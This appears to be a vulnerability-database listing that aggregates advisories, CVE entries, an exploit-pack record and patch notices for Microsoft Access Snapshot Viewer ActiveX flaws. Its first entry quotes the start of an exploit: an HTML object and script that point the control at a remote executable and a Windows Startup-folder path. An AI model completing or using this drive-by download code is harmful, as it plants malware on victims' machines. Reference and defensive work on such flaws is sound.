Microsoft Office Snapshot Viewer ActiveX Exploit

No description provided by source. html object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'/object script language='javascript' var buf1 = 'http://127.0.0.1/a.exe'; var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe'; obj.SnapshotPath = buf1; obj.CompressedPath...

Microsoft Access Snapshot Viewer ActiveX Control Arbitrary File Download (CVE-2008-2463)

Microsoft Snapshot Viewer is an application that allows viewing of snapshots created with any version of Microsoft Access. A remote code execution vulnerability has been discovered in the Snapshot Viewer for Microsoft Access. The vulnerability is due to an error in the Snapshot Viewer ActiveX...

Code injection

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...

DSquare Exploit Pack: D2SEC_SNPVW2

Name| d2secsnpvw2 ---|--- CVE| CVE-2008-2463 Exploit Pack| D2ExploitPack Description| Microsoft Office Snapshot Viewer ActiveX Vulnerability - Generic Version Notes|...

CVE-2008-2463

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...

CVE-2008-2463

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...

CVE-2008-2463

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0 is vulnerable to an arbitrary file download flaw. This component is distributed within the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003 . Attackers can exploit this by using a crafted HTML...

Microsoft Office Snapshot Viewer ActiveX control race condition

Overview The Microsoft Office Snapshot Viewer ActiveX control contains a race condition, which can allow a remote, unauthenticated attacker to download arbitrary files to arbitrary locations. Description Microsoft Snapshot Viewer is a viewer for snapshots created with Microsoft Access. Snapshot...

CVE-2008-2463: Improper Control of Generation of Code

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...

CVE-2003-0665

Buffer overflow in the ActiveX control for Microsoft Access Snapshot Viewer for Access 97, 2000, and 2002 allows remote attackers to execute arbitrary code via long parameters to the control...

CVE-2003-0665

Buffer overflow in the ActiveX control for Microsoft Access Snapshot Viewer for Access 97, 2000, and 2002 allows remote attackers to execute arbitrary code via long parameters to the control...

CVE-2003-0665

CVE-2003-0665 is a buffer overflow in the ActiveX control used by Microsoft Access Snapshot Viewer for Access 97, 2000, and 2002. The vulnerability allows remote attackers to execute arbitrary code by sending long parameters to the control. Evidence from multiple sources confirms the root cause a...

CVE-2003-0665: Undefined Security Weakness

Buffer overflow in the ActiveX control for Microsoft Access Snapshot Viewer for Access 97, 2000, and 2002 allows remote attackers to execute arbitrary code via long parameters to the control...

Microsoft Security Bulletin MS03-038: Unchecked buffer in Microsoft Access Snapshot Viewer Could Allow Code Execution(827104)

-----BEGIN PGP SIGNED MESSAGE----- - -------------------------------------------------------------------- Title: Unchecked buffer in Microsoft Access Snapshot Viewer Could Allow Code Execution 827104 Date: September 3, 2003 Software: Microsoft Access 97 Microsoft Access 2000 Microsoft Access 2002...

Microsft Access Snapshot Viewer buffer overflow

Buffer overflow in ActiveX component marked as safe...

Microsoft Access Snapshot Viewer vulnerable to buffer overflow when validating parameters

Overview A remotely exploitable vulnerability exists in the Microsoft Access Snapshot Viewer ActiveX control. Exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the local system with the privileges of the current user. Description According to Microsoft'...

Microsoft Access 9720002002 Snapshot Viewer - ActiveX Control Parameter Buffer Overflow

Microsoft Access 9720002002 Snapshot Viewer - ActiveX Control Parameter Buffer Overflow // source: https://www.securityfocus.com/bid/8536/info Microsoft Access Snapshot Viewer is prone to a remote buffer-overflow condition because the software fails to perform sufficient boundary checks on...

Microsoft Access 97/2000/2002 Snapshot Viewer - ActiveX Control Parameter Buffer Overflow

// source: https://www.securityfocus.com/bid/8536/info Microsoft Access Snapshot Viewer is prone to a remote buffer-overflow condition because the software fails to perform sufficient boundary checks on user-supplied parameters. Presumably, a remote attacker may be able to leverage this issue to...

Security Update for Access Snapshot Viewer 2002 (KB955440)

A security vulnerability exists in the Snapshot Viewer that could allow arbitrary code to run when you open a maliciously modified web page or document. This update resolves that vulnerability...

Security Update for Access Snapshot Viewer 2003 (KB955439)

A security vulnerability exists in the Snapshot Viewer that could allow arbitrary code to run when you open a maliciously modified web page or document. This update resolves that vulnerability...